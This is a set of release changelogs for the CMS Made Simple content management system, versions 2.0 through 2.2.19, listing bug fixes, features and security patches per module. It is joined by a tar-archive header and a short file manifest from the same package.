Version 2.2.3 - Happy Adventure
----------------------------------
Core - General
  - Fixed a redirect loop problem on mixed HTTP/HTTPS sites when the secure flag was set on some pages.
  - Fixed a problem with prefilters and postfilters not working if placed in /assets/plugins.
  - Now use our own derivative of Smarty Internal Template so that we can send hooks, etc.
  - Improved error message if there was an error parsing the template (or a duplicate content block).
  - Fixes content blocks, image blocks, module blocks containing whitespace in the name.
  - Minor fix to {cms_filepicker} plugin.
  - Improve the CmsModuleInfo class such that if the module class file is newer it will be loaded.
  - Now generate the moduleinfo.ini file automatically on install or upgrade of a module.
  - Increase the maxlength attribute for password input boxes in myaccount.
  - Adds a StartsWith JavaScript shiv for IE11.
  - Revert the protocol-less URI for root_url (more changes coming for 2.3).
  - Get rid of the smart_url config option.
  - Fix a problem when testing for duplicate aliases of the form string-###  where the suffix integer was greater than 100.
  - More fixes to mact preprocessing if {content} was in the top of the template.
  - Minor fix to ExpandXMLPackage to not throw an exception in brief mode if module is not compatible with the current version of CMSMS.
  - adds new cms_entities_array function in misc to convert an array recursively to values.
  - Fixes transposed arguments in UserOperations::AddMemberGroup().
  - Better detection of duplicate content blocks.
  - Revert template_stack change to Smarty_CMS from 2.2.2.
  - Improvements to HookManager.

CmsJobManager v0.1.1
  - Optimization of audit logging.
  - Change connection timeout to 1 second.
  - Change processing to be a little more friendly to some environments wrt. content-size header.
  - Prevent processing from the CLI when root_url is calculated.

MicroTiny v2.2.1
  - Minor fix for filepicker plugin.

News v2.51.3
  - For security, no longer urldecode the detailtemplate parameter in detail view.
    This may have some implications for people that are specifying the detailtemplate parameter (with a template with special characters) from within a WYSIWYG (which is not recommended behavior).
  - Convert title and dropdown options and text fields to entities before display.

ModuleManager v2.1.2
  - Now sort modules in the installed tab a bit better.
  - Now handle module 'not available' a bit better.

FileManager v1.6.4
  - Add a different icon for navigating up one level.
  - No longer allow uploading any php (or derivative) file.
  - No longer allow renaming any file to have a .php extension (or a derivative).
  - Fixes an issue when improper/invalid values for root path and uploads path are manually specified in the config.php

FilePicker v1.0.1
  - No longer allow overriding the filepicker type on the URL.
  - No longer allow uploading any .php files.

CMSContentmanager v1.1.6
  - Now double check that the 'default parent' for new pages actually exists.

Navigator v1.0.8
  - Minor english documentation correction.

Installation Assistant v1.3.3
  - Now look for lib/include.php before include.php in step 8 and step 9 when connecting to CMSMS.
  - Fixes to upgrade routine for 2.1.5 wrt. the 'Manage Stylesheets' permission (ignore an exception).


Version 2.2.2 - Hearts Content
----------------------------------
Core - General
 - Additional security improvement in CMSModule::GetTemplateResource().
 - Now Smarty_CMS is no longer derived from SmartyBC (uses our own wrapper class) which prevents all occurrences of {php} tags from running.
 - Adds an admin directory .htaccess file to explicitly disable browser caching of any resources.
 - Fixes a relative path vulnerability in module_file_tpl resource.
 - Fixes a path building issue in CmsModuleInfo.
 - Fixes to parsing and generating moduleinfo.ini files.
 - Disallow any resource specifications with a * or a /.
     * This also means that no file resource specifications with path information will be permitted.
 - Move mact preprocessing to AFTER the template_top has been processed. So order of processing (for module actions on the frontend is)
     a:  template top
     b:  mact preprocessing (if enabled, which is the default)
     c:  template body
     d:  template head
 - Fix sureGetNodeByAlias to check if the input is numeric. If it is, assume that it is a page id, not an alias.
 - Fix alias generation in the ContentBase class to check if the input page title is numeric... If it is, prepend a character to it to ensure that integer casting will return 0.
 - Fix listtags to show tags using smarty_nocache_ function name prefix.
 - Improvements to the {form_start} plugin.
 - Fix silly, old issue in recursive_delete function.
 - Clean up more parameters from the content tag before passing to module action.
 - Fix local file inclusion vulnerability in listtags.
 - Now call get_userid() in debug_to_log instead of check_login()

AdminSearch v1.0.3
 - Now search the metadata field of content pages.
 - Fixes for single quotes in search results.

DesignManager v1.1.3
 - Set title attribute tags for edit/create template, stylesheet, design.
 - Remove debug statements.

MicroTiny v2.2
 - Upgrade tinymce to v4.6.x.
 - Adds new tabfocus and hr plugins.

News v2.51.2
 - Fixes so that all cancel buttons work properly on new News articles.

Navigator v1.0.7
 - Adds a silly __get() method to the NavigatorNode class squash some notifications in the error logs.

ModuleManager v2.1.1
 - Now handlle remote module installs upgrades, and activates via a 2 request process to allow new module versions to be read into memory.

Installation Assistant v1.3.2
 - Correction to assets warning

Search v1.51.2
 - Now do an html entity decode on all content added to AddWords.


Version 2.2.1 - Hearts Desire
----------------------------------
Core - General
 - Improve the Smarty plugin loading to handle non-cachable plugins in the /assets/plugins and /plugins directories.
 - Fixes to transaction functions in database abstraction library.
 - Fix CMSModule::GetTemplateResource to no longer accept eval or string resources.
 - Fix CMSSmartySecurityPolicy so that debug_to_log is no longer an allowed function.

   Many thanks to Daniel Le Gall from SCRT SA, Switzerland for reporting the vulnerabilities.

Installation Assistant v1.3.1
 - On upgrade to 2.2.1 move all files from /plugins to /assets/plugins (they should only be third party plugins at this point).
 - On upgrade chmod the config.php to 444.

MicroTiny v2.1.1
 - Fix temporary JS call URL.

News v2.51.1
 - Fix frontend pagination.


Version 2.2 - Canada
----------------------------------
Core - General
  - Automatically turn on file locking for cached files to attempt to mitigate race conditions.
    NOTE:  On systems using archaic filesystems such as FAT and FAT32 CMSMS may no longer operate.
  - cms_filecache_driver now caches for 2 hours by default and has an improved cooperative locking test
  - Implement new database abstraction library that is compatible with (functionality wise) but improves upon adodb-lite.
  - Implement protocol-less URL's in the config.
  - Page tabs are now focusable (you can tab through page tabs and use enter to select one).
  - Minor fix to the {form_start} plugin.
  - Minor change to the {admin_icon} plugin (default image class).
  - Cache more items that are queried from the database, to reduce mysql load.
  - Minor change to tree operations functionality to reduce memory usage.
  - Fixed problem with order of content blocks when using {content_module} stuff.
  - Adds get_usage_string and the concept of a type assistant to template types.
  - Minor change to auto-alias determination routine.
  - Detect module_custom enhancements in the CmsModuleInfo stuff.
  - Refactor Admin authentication.
  - More fixes to the cms_url class.
  - Optimize the include.php file.
  - Adds built-in asynchronous task processing system.
  - Adds the ability to reduce redundant mentions in the Admin log (runs asynchronously).
  - Refactor the Admin log page to allow for better filtering and pagination.
  - Admin log now uses cms_date_format and cleans output.
  - Notification functions in the CmsAdminThemeBase function are now just stubs and do nothing. Will be removed at a later date.
  - Removed the GetNotificationOutput() method from the module API.
  - Adds classes for creating Alerts. This is much more advanced than the old Notifications system.
  - Minor accessibility tweaks to the OneEleven theme.
  - Fix numerous minor problems with the OneEleven theme.
  - Refactored the OneEleven Admin theme to use new Alerts classes instead of old Notifications.
  - Refactor the OneEleven Admin theme to display an alert icon in the shortcut bar, instead of in the navigation area.
  - Fixed sidenav in the one OneEleven theme now works properly. If sidenav is larger than viewport then don't use fixed... easy.
  - In OneEleven Now revert to small sidebar navigation (still floating) if screen is too narrow.
  - Removed notification settings from MyAccount and Global Settings.
  - Removed pseudocron granularity preferences.
  - cms_alert() and the new cms_confirm() JavaScript functions now return promises.
  - Revises much code to use cms_alert and cms_confirm() instead of the standard, but browser specific functions.
  - Fixes to the cache clearing methodology.
  - No longer check for duplicate content blocks in templates... NEEDS TESTING
  - New core events: ContentPreRender, LostPassword, LostPasswordReset, StylesheetPostRender.
  - Fix problem with the default parameter to the {content} tag.
  - Fix problem with the use_smartycache thing in system information.
  - Fix notice in useroperations.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Numerous minor optimizations.
  - Add to content types the ability to set basic attributes for properties from within the page type definition.
  - Fixes problems with pagelink and link content types not being properly editable by additional editors.
  - Adds more type and content cleaning into the content types FillParams method(s).
  - Pass an explicit cacheid in to createtemplate in index.php.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.
  - The {content} tag now supports passing data attributes to the generated textarea, for use by syntax highlighter and WYSIWYG modules. i.e: {content data-foo="bar"}.
  - Refactoring of the Admin login code to be cleaner, more efficient, more secure.
  - No longer allow any modules to auto-upgrade on frontend requests.
  - Fix problem with cms_filecache_driver::clear().
  - Introduces the new Hook mechanism to allow optimizing cms_stylesheet a bit further. All core SendEvent calls are now implemented as hooks.
  - changegroupperms can now localize permission names,  and add an info string for each permission. (the listpermissions hook).
  - Adds add_headtext(), get_headtext(),  add_footertext(), get_footertext() methods to the Admin theme class.
  - minor refactoring of admin/index.php, admin/header.php, admin/footer.php and admin/moduleinterface.php.
  - now use hooks so that loaded modules can now add text to the head area of any Admin page output.
  - Change the help for the basic attributes.
  - Adds new 'switch user' functionality for members of the Admin group.
  - Re-factor the content page selector ... now supports two modes (one for a simple list, and the previous dynamic one that is faster for large sites)
    the simple list mode is used for users with limited edit capabilities on pages.
  - Adds a new Smarty plugin {page_selector} to the Admin lib.
  - New arguments to the CreateHierarchyDropdown function (deprecated) and adjust documentation.
  - Content pages now have the ability to control whether or not the page wants any more children.
  - The TemplateType class now has a help callback to optionally allow retrieving help for templates of a particular type.
  - Permissions are now grouped logically by module/originator in ChangeGroupPermissions.
  - Now use HTTPS for the latest version check.
  - Adds the public_cache_url config entry,  and make sure that the css_url uses that by default.
  - Adds many core hooks.
  - Enhance the {page_image} plugin to optionally output a full HTML img tag if there is a value for the respective property.
  - Improve the {content_image} plugin to output nothing if there is no value for the property, and to output any non-internal arguments as attributes to the HTML img tag.
  - Upgrade to an un-modified version of smarty v3.1.31.
  - Move plugins directory to lib/plugins since we now have the assets/plugins directory for custom plugins.  Upgrading should preserve any custom plugins in the /plugins directory.
  - Add new plugins {thumbnail_url}, {file_url} and {cms_filepicker).
  - Add more intelligence to the tableoption handling for DataDictionary::CreateTableSQL.
  - Minor improvements to the asynchronous behaviour of the locking functionality.
  - #11295 - Cannot change the name of a UDT, always creates new UDT.
  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.
  - #11133 - is_email() fails on domain check.
  - #11235 - munge_string_to_url leaves trailing dashes at the end of munged URL.
  - #11287 - Password reset form's password fields have different lengths.
  - Fix issue with module actions if 'content_en' block name was given on the default content block.
  - Better security when saving content pages.  Most primary fields are cast to their appropriate data type (int, bool, etc).  MenuText, and TitleAttribute can no longer contain html tags like <strong>foo</strong>.
  - Fixes issue with entities in redirecting links
  - The href/page argument to {cms_selflink} is now decoded before resolving to a page id.

Navigator v1.0.5
  - Minor optimizations.
  - Now use pageid in calculations of cacheid.
  - Now output template help to Navigator.

Installation Assistant v1.3
  - Only create dummy index.html files in subdirectories we created.
  - Clear cache after step 9.
  - Upgrade routine now asks for, and tests database credentials.
  - Upgrade routine now rewrites the config.php file (but keeps a backup).
  - Set a few more preferences to reasonable defaults on install. Specifically related to site cleanup and performance.
  - On installation, now insure that tmp/cache and tmp/templates_c directories are empty.
  - Now displays if files are going to be skipped.
  - Adds clear option for development purposes.
  - No longer ask to save database password.
  - On install now create the assets directory structure.
  - On upgrade (for 2.2) now create the assets directory structure and move tmp/configs, tmp/templates, module_custom, admin/custom, etc. within it.
  - When using the expanded installer allow changing the destination directory on step 1.
  - Check for existing files in the installation directory for new installations.
  - Added more notes to aide in diagnosing white screens
  - Modify package .zip files so that extracted files will usually have 644 permission (depends on the unzip routine used).

CmsJobManager
  - New core module to handle queued asynchronous tasks.

Content Manager
  - Minor tweak to bulk delete pages.
  - Minor fix to the active tab when changing a template or design.
  - Now listen to the 'default parent page' user preference.
  - Fix minor XSS problem in the Admin if some loser puts JavaScript into the title field or alias field or menu text field.
  - Now allow filtering pages by owner, editor, template, or design.  Only for Administrators with Modify any page, or Manage all content permissions.
  - Fix problems with auto-refresh being too fast for some operations.
  - Now auto scroll to the first matched page in a find.
  - Additional editors of a page cannot change the content type. Only owners, or users with the Manage all Content permissions.
  - Fix a problem with the call to GetTabElements.

DesignManager
  - Move the designs tab of the main interface into third position.
  - Implement sorting in edit design.
  - Remove option menus (for now) from templates, stylesheets, and designs tab.
  - Modify the template list functionality in edit-design to allow using keyboard control. Space or + to select an item on the left, and right arrow to move.
  - Modify the edit-design functionality to allow clicking on an attached template or stylesheet to edit it.
  - Generic templates now display a usage string.
  - When creating a new template, associate the new template with the default design.
  - Add reset buttons to the filter forms.
  - No longer check for default content block in a template.
  - Adds the ability to export a template to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/templates directory corresponding to a template name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple templates.
  - In the template list, if a file exists for a template... display it in the filename column.
  - Adds the ability to export a stylesheet to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/css directory corresponding to a stylesheet name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple stylesheets.
  - In the stylesheet list, if a file exists for a stylesheet display it in the filename column.

News v2.51
  - Minor fix to add category.
  - Removes GetNotificationOutput method.
  - Add a task that runs at least every 15 minutes to detect draft articles... create an alert for this.
  - Add an option to never create alerts about draft News articles.
  - Minor optimizations.
  - Adds postdate as parameters in events.
  - now output template help to Navigator.
  - Adds new 'linked file' type field that allows selecting a file using the filepicker.
  - Changes the default summary and detail templates to support the linked_file field type, and uses {thumbnail_url} and {file_url}.

FileManager v1.6.3
  - Move settings to it's own menu item under Site Admin.
  - Fix minor problem with moving a directory.
  - Minor fix to move file functionality.
  - Adds OnFileDeleted event.
  - Adds 'view raw file' icon in each viewable row.
  - Minor formatting changes in file list.
  - Now display clickable path entries for easier navigation.

Search
  - Convert to store all data using the InnoDB engine.
  - Use transactions for the addwords and deletewords stuff for performance.
  - Fix problem with query and record expiry.

AdminSearch v1.0.3
  - Fixes problem with use of 'Use Admin Search' permission.
  - Now searches for matching strings within templates and stylesheets that are stored as files.
  - Now listens to the HasSearchableContent metod when searching content pages.

ModuleManager
  - Now detect if module_custom directories exist and are populated and warn about this before upgrading a module.
  - Minor string changes.
  - Improvements to error handling in the new versions tab.
  - Write a confirmation form for uninstalling a module that displays the UninstallPreMessage or uses a default.
  - Now don't allow disabling / uninstalling myself.
  - Don't hide the upgrades tab when there are no upgrades, but show the number of upgrades in the tab title instead.
  - Now use HTTPS for requests to ModuleRepository.
  - Trigger a hook before exporting a module to XML.

MicroTiny v2.1
  - New version of the tinymce wysiwyg editor.
  - Adds a mailto plugin.
  - Now use the FilePicker module for a filepicker, required rewriting the cmsms_filepicker tinymce plugin.
  - Enable the title attribute on the image plugin.
  - Now uses PUBLIC_CACHE_LOCATION for cache files instead of hardcoding tmp/cache


Version 2.1.6 - Spanish Wells
----------------------------------
Core - General
  - Now attempt to detect if a template name passed into CmsModule::GetTemplateResource() is already a resource string.
  - endswith is now an accepted function in Smarty templates (fixes typo in security policy).
  - Fixes for CmsNlsOperations when using a language detector.
  - Fixes warnings in useroperations.
  - Fixes problem with cms_selflink dir='up' since 2013.
  - Modifies the OneEleven theme to set the meta referrer attribute for security purposes.
  - Modifies the functionality of the CSRF tokens to be more secure (only set the cookie in one location, only set the session variable from the cookie).
  - Increase Admin users list limit.
  - Reduce time limit for daily version check to 3 seconds.
  - cleanValues in Admin log and List Content.
  - Minor fix to the relative_time plugin.
  - Admin menu item URLs can now be built from the remaining members of the object, if not specified.
  - {content_image} and {content_module} now preserve order properly and support the priority attribute.

  - #11198 - Fixes problem with cms_selflink with aliases that starts with a numeric sign.

Content Manager v1.1.4
  - Fix bulk set-non-cachable functionality.
  - Fix a bug wrt content blocks and the adding flag.

Installation Assistant v1.0.4
  - Adds recommended check for ZipArchive.
  - Improves method of determining a temp directory.

ModuleManager v2.0.5
  - Improves functionality if ModuleRepository is not available.

News v2.50.6
  - Minor fix to editing news articles from the Admin interface.


Version 2.1.5 - High Rock
----------------------------------
Core - General
  - Fix fatal error if an extcss stylesheet was placed in the Admin theme.
  - Another minor fix to clearing cached files.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Improve the way page aliases are munged when they are supplied.
  - Improve the error generated when a page alias cannot be generated.
  - Minor fixes to the form_start plugin.
  - Minor fixes to generation of moduleinfo.ini.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.

  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.

Content Manager
  - Improve error handling in Edit Content.
  - Fix a problem with the call to GetTabElements.

Design Manager
  - Fix problem with resetting a template back to factory defaults, or creating a new template from factory defaults.

Module Manager
  - Improve the way modules with dependencies are installed and upgraded. (Got rid of the queue stuff).

AdminSearch
  - Use 'Manage Stylesheets' permission, not 'Modify Stylesheets' when searching stylesheets.

Phar Installer
  - Adds missing 'Manage Stylesheets' permission that would not be created on upgrade from 1.12.



Version 2.1.4 - Freetown
----------------------------------
Core - General
  - Fix to the clear_cached_file() method which should fix problems with module installation.
  - Minor tweak to distributed sample htaccess.txt file.

Phar Installer
  - Fixes issues with respect to hanging on step 7 when suhosin PHP addon was installed.
  - Minor PHP7 Fixes.

Module Manager
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.


Version 2.1.3 - Black Point
----------------------------------
Core - General
  - Security fix to prevent HTTP_HOST attacks. Many thanks to I-TRACING (www.i-tracing.com) for reporting it!!
  - Remove stub .htaccess files from subdirectories.
  - Update the included sample htaccess.txt file for security.
  - Fix for endless loop when calculating a page alias in utf-8 environments.
  - Fix for endless loop when calculating a page alias and a page name/title ended with -
  - Fixes a notice on the login page.
  - Optimize LoadContentFromId() to be typesafe, and use default page, if the id passed in is invalid.
  - Fix error condition if there were no default default design, or default page template.
  - Fix problem with system verification.

  - #10825 - Admin-account settings don't remember startpage if you set one
  - #10874 - When creating a page and the title has specific characters, CMSMS stops responding
  - #10910 - content and content_module order incorrect Admin page
  - #10911 - 'Use Admin Search' permission not being used in 2.1.2
  - #10921 - Content Field to Display in Name Column not used

AdminSearch v1.0.1
  - Minor fix to permissions checks.

Navigator v1.0.3
  - Improved exception handling on install

News v2.50.5
  - Fix error condition if no results were returned.

Installation Assistant v1.0.3.1
  - Tweaks to README files.
  - Improved error handling in some circumstances.
  - Fix some PHP7 issues.

FileManager
  - #10871 - Filemanager moving folder


Version 2.1.2 - Andros Town
----------------------------------
Core - General
- Minor fix to missing language string stuff
- Fixes to home page preferences
- API documentation fixes (minor)
- Fixes for ajax_content (the Ajax routine behind the parent selector in edit content) to handle ordering inconsistencies
- Remove die statement in is_email
- Minor fix to the relative_time modifier
- Upgrade CMSMailer to 6.2.14
- Now do a check for E_ALL in the system info

News v2.50.4
- Now all field definitions can be deleted
- Minor fix to default action if no results were returned...

ModuleManager v2.0.2
- Revamp module dependency calculations when installing a module
- Minor fix for some notices in install and upgrade modules
- Minor typo fixes
- Minor fixes for PHP7

MenuManager  v1.50.2
- make sure that uninstall cleans up properly

MicroTiny v2.0.3
- minor template fix
- fixes for stylesheet overrides


Version 2.1.1 - Nicholls Town
----------------------------------
Core - General
- Fix the template compiler so that content blocks can be placed within sub templates and detected with the {include} tag
- Fix minor problem with checksum verification
- Fix to the cms_cache_handler class
- Minor fix to SetAllPageHierarchies()
- Correct location where session was started in frontend displays
- Fix the default option for {content_image}
- Modify the locker to use a beacon if supported, when unlocking
- Fix missing permissions when a 1.12 site was upgraded (installation assistant)

CMSContentmanager v1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear content locks (Admins can clear all locks, regular users can only clear their locks)
- Enhancements to the action to bulk set designs to show only page templates by default, but to optionally show more

DesignManager v1.1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear template and CSS locks (Admins can clear all locks, regular users can only clear their locks)


Version 2.1 - Bahamas
----------------------------------
Core - General
- Minor performance tweaks to sample htaccess.txt
- Minor fix to the ProcessTemplateFromDatabase module API method.
- Improvements and re-factor the way headers are sent wrt caching
- Add a new method to the ModuleOperations class to allow a module to be within a namespace.
- Enhances the Group class.
- Enhancements and fixes to the cms_url class.
- Modified the $mod->smarty reference to be smarter... it is now deprecated.
- Fixes issue with https requests (#10697)
- Modifies The CmsLayoutTemplate class and CmsLayoutTemplateQuery to allow filtering on listable or non listable
  or setting a template as listable (default) or non listable
- Fixes a problem with styling of the login form if tasks must be run AND a module needs upgrading.
- Fixes to the cloning of templates in CmsLayoutTemplate
- Fixes problem with SetAllHierarchyPositions that cleared the entire cache instead of only the necessary part of it.
- Adds the unloadCancel handler to the lockManager jQuery plugin.
- Moves version.php and include.php inside the lib directory so that they are easier to protect from unwanted direct access.
- Fixes to page alias tests when manually entering a page alias.
- Missing language strings are no longer output to Admin log, but to the debug log.
- Requests for modules that are not installed/enabled, or for invalid actions will now result in 404 errors.
- Fixed problem where restricted content editors could implicitly change the page alias.
- Improvements to the system information page, particularly the bbcode output.
- cms_init_editor, form_start, and cms_action_url plugins are no longer cachable.
- Adds the 'adminonly' option to the {content}, {content_image}, and {content_module} tags to allow only members of the 'Admin' group to manipulate the values of that block.
- Add a trivial check to the sitedown message to make sure that it is not empty.
- Minor fixes for PHP 7

MicroTiny v2.0.2
- Now add page hierarchy to autocomplete text when using the linker.
- Now use $smarty->CreateTemplate for clarity when compling the config template
- Now explicitly assign urls so that they do not get caced by smarty.
- Slightly tweak the default HTML content in the example tab.
- Updated tinymce to the latest 4.2.7 version, included the 'paste' plugin, and turned on 'paste_as_text'.
- Added the ability to enable the table plugin, now distribute the table plugin

CMSContentManager v1.0.2
- Fix problem with pagedefault metadata.
- Fixes for handling no listable templates for a design
- More work with locking.  With only one exception all locking and unlocking is initiated via javascript.
- Minor fix to copycontent

DesignManager v1.1
- Adds ability to toggle the listability of a template.
- Fixes problems with lost changes if there is a syntax error in the template.
- More work with locking.  With only one exception all locking and unlocking is initiated via JavaScript.

News v2.50.3
- Fixes minor issue with pagination in News Admin console.
- Fix errors in the default form template.
- Fixed URL to long issues on redirection after adding/editing article.

Search v1.50.2
- Minor PHP7 fixes.

ModuleManager 2.0.1
- Minor fix to which modules could be uninstalled and deactivated.


Version 2.0.1.1 - Adelaide
----------------------------------
Fix to the $this->smarty magic method in the module class to resolve to the action template or the global Smarty.


Version 2.0.1 - Adelaide
----------------------------------
Core - General
- Improved optimization in ContentOperations::SetAllHierarchyPositions.
- Fixed return type of ContentOperations::GetPageIdFromAlias().
- Help for the {cms_html_options} plugin.
- Change the default page template to use {Navigator}.
- Explicitly force $smarty->fetch() to create a new template, and therefore a new scope. Keep track of scopes in a stack.
- Change prototype to CMSModule::DoActionBase to pass in the current template object.
- SITENAME is now assigned as a Smarty global.
  (fixes some variable scope issues)
- Fix problem with changing content types.
- Fix problem with CmsLayoutTemplateQuery wrt the editable option, that generated an SQL error.
  (resolves problems where people have additional editor access to templates, but no other design manager permissions).
- Fix minor JavaScript errors in plugin (error checking).
- Fix problems where If assign was passed to a {content} tag, do not pass it to the module on a mact request.
- Implements the completely forgotten 403 exception stuff and the IsPermitted content method.
- Improve the cmsms_dirtyform jQuery plugin to support the unload handler and an onUnload callback.
- Fixed the jQuery page selector plugin when the current value points to an invalid page,  and fixes for asynchronous Ajax.
- Adds a globally available cms_busy() JavaScript function for the Admin.
- Fix problem with html entitites in email addresses in user settings.
- Fix problem with {content cssname=string} and quotes.
- Changed cmsms plugins to use $smarty->getTemplateVars() instead of $smarty->get_template_vars() because of scope issues.
- Minor fix to {form_start} when not used in a module.
- Improved error handling for cms_stylesheet.  Now will generate a message in the Admin log, and an html comment on error.

CMSContentManager v1.0.1
- Fixes for changing content types.
- Adds a title for some contextual help if a template is not available for a content item.
- Clear any locks if an exception occurred while submitting a content item.
- Improvements to error handling with apply and preview.
- Content list now refreshes every 30 seconds to display up-to-date lock information.

DesignManager v1.0.1
- Clear the type_default flag when copying a template.
- Clear any locks if an exception occurred while submitting a template.
- Clear any locks if an exception occurred while submitting a stylesheet.
- Template and stylesheet lists now refresh every 30 seconds to display up-to-date lock information.
- Fixes for design exporting templates with protocol-less URLs in them.

MenuManager v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

Navigator v1.0.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Minor change to the help ($node->children_exist)

Search v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

News v2.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Fix problem with custom fields not being assigned in fesubmit.
- Fix minor problem with html entities in the detail template parameter.

FileManager v1.5.1
- Fix minor problem with Smarty scope in the drop zone.


Version 2.0 - Australia
----------------------------------
+++ Initial Release +++
MANIFEST.DAT                                                                                        0000666                 00000000524 14464003457 0006320 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       MANIFEST GENERATED: 1691354927
MANIFEST FROM VERSION: 2.2.17
MANIFEST FROM NAME: Iqaluit
MANIFEST TO VERSION: 2.2.18
MANIFEST TO NAME: Apex
CHANGED :: cefdb77ae4dabdf4a5ccc10d5d1244dd :: doc\CHANGELOG.txt
CHANGED :: 9690ae59cf5e805f738ad98fd019aed1 :: lib\compat.functions.php
CHANGED :: 1f6ecd8bff5a2c6216451c7c1fd6cbda :: lib\version.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Version 2.2.19 - Selkirk
-------------------------------

Core - General
 - BR #12647 - Wrong default action value in get_pageid_or_alias_from_url
 - FR #12638 - ability to add CSP headers on the backend: currently weak restrictions: self with script-src and script-src-elem set to unsafe-inline (optionally set on config admin_csp_header);
 - BR #12661 - fix page_selector allow_all parameter and set default to false;
 
Content Manager 1.1.12
 - BR #12635 - Apply button is shown for non-existing page;
 - BR #12474 Taking the default page down by accident through the content type;

File Manager 1.6.16
 - BR #12659 - FileManager upload Warning bug fix;

FilePicker 1.0.7
 - BR #12621 - FilePicker upload bug;
 - BR #12659 - FilePicker upload Warning bug fix;

Navigator 1.0.10
 - BR #12528 Navigator call doesn't clear excluded prefixes in some situations

Version 2.2.18 - Apex
-------------------------------
Core - General
 - Fallback function CMSMS\strftime. PHP Intl extension still recommended. The fallback solves issues on hosts that don't install it by default and don't allow users to install it.

Version 2.2.17 - Iqaluit
-------------------------------
Core - General
 - BR #12529 - Cacheable Pages have Bad Header Last-Modified;
 - BR #12543 - Lib file corrections;
 - BR #12618 - HasChildren() is broken;
 - BR #12587 - can't uninstall modules;
 - Compatibility fixes for PHP 7, 8.0 and 8.1;
 - Smarty upgraded to version 4.2.1;
    Note: Smarty 2 syntax is still supported, but deprecated
 - Add function CMSMS\strftime to replace deprecated PHP function. PHP Intl extension recommended to support this.
 - Enabled use of PHP functions trim,ltrim,rtrim in smarty templates
 - PHPMailer upgraded to version 6.6.0.
 - fixes BR #12529 Cacheable Pages have Bad Header Last-Modified;
 - added module's support for arrays in parameters;
 - Fixes to cms_mailer class mainly in terms of proxy design pattern getters and setters and autotls settings;
 - Smarty security policies changes: due to some modifications in the way updated Smarty now behaves, all static classes need to be registered for its use to be allowed in templates.

Content Manager 1.1.10
 - Differentiate new page from cloned page.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Design Manager 1.1.10
 - BR #12545 - Module: DesignManager typo info on top file.
 - fixes typo BR #12545
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FilePicker 1.0.6
 - BR #12539 - Module FilePicker 1.0.5 files corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Module Manager 2.1.9
 - BR #12541 - Module ModuleManager 2.1.8 : corrections + compatible php 7.1.0 to 8.1.4.

News 2.51.12
 - BR #12543 - Lib file corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FileManager 1.6.13
- Compatibility fixes for PHP 7, 8.0 and 8.1.


Version 2.2.16 - Truro
-------------------------------
Core - General
  - BR #12370 - Admin Log-Download : now downloading the log honors all filters but doesn't process paging.
  - BR #12437 - Installer won't allow "<" symbol in database password.
  - BR #12457 - Event Manager empty list when mysql mode only_full_group_by.
  - BR #12484 - Cannot exit after Run UDT.
  - BR #12495 - MySQL 8.0.2+ breaks groups without table prefix.
  - BR #12499 - adminlog.tpl Wrongly formed date.
  - BR #12500 - NameQuote function does not work properly.
  - BR #12504 - Function call notification.
  - Fixed an issue with specific characters in a content block tab name breaking the editor.
  - Adjust regex's incompatible with PCRE2.
  - Avoid deprecated strftime() - deploy new replacement function locale_ftime() and new modifier-plugin localedate_format.
  - A number of fixes for PHP 8 compatibility.

Admin Search v1.0.6
  - BR #12443 - Admin Search fails on some searches with default mysql mode only_full_group_by (mysql 5.7.5+).
  - Removed license and copyright notices from module help text.
  - Escaping the search input field values.
  - More content object attributes are searched.
  - User Defined Tags can be searched.
  - Only places a user has permission to search are shown in the filter list (cached!).

Content Manager v1.1.9
  - Fix menu text/title setting.

FileManager v1.6.12
  - BR #12435 - Replacing an image file in filepicker doesn't update thumbnail.

FilePicker v1.0.5
  - FR #12483 - Additional FilePicker Help for usage as Content Block.

Navigator v1.0.9
  - BR #12456 - Navigator breadcrumbs with default page hidden from menu causes PHP notice.

Search v1.53
  - Added 'Manage Search' permission.
  - BR #12391 - Core search issue page/entry titles that start with numbers.
  
Phar Installer v1.3.15
  - Fixed BR #12437 - Installer won't allow "<" symbol in database password.
  - Added Russian lang file to installer.
  - use locale_ftime() instead of deprecated strftime().
  - escape name of groups table, to prevent reserved-word conflict when table-prefix is empty.
  - alterations to the links in final step: we now privilege links to CMSMS channels of contact and support.


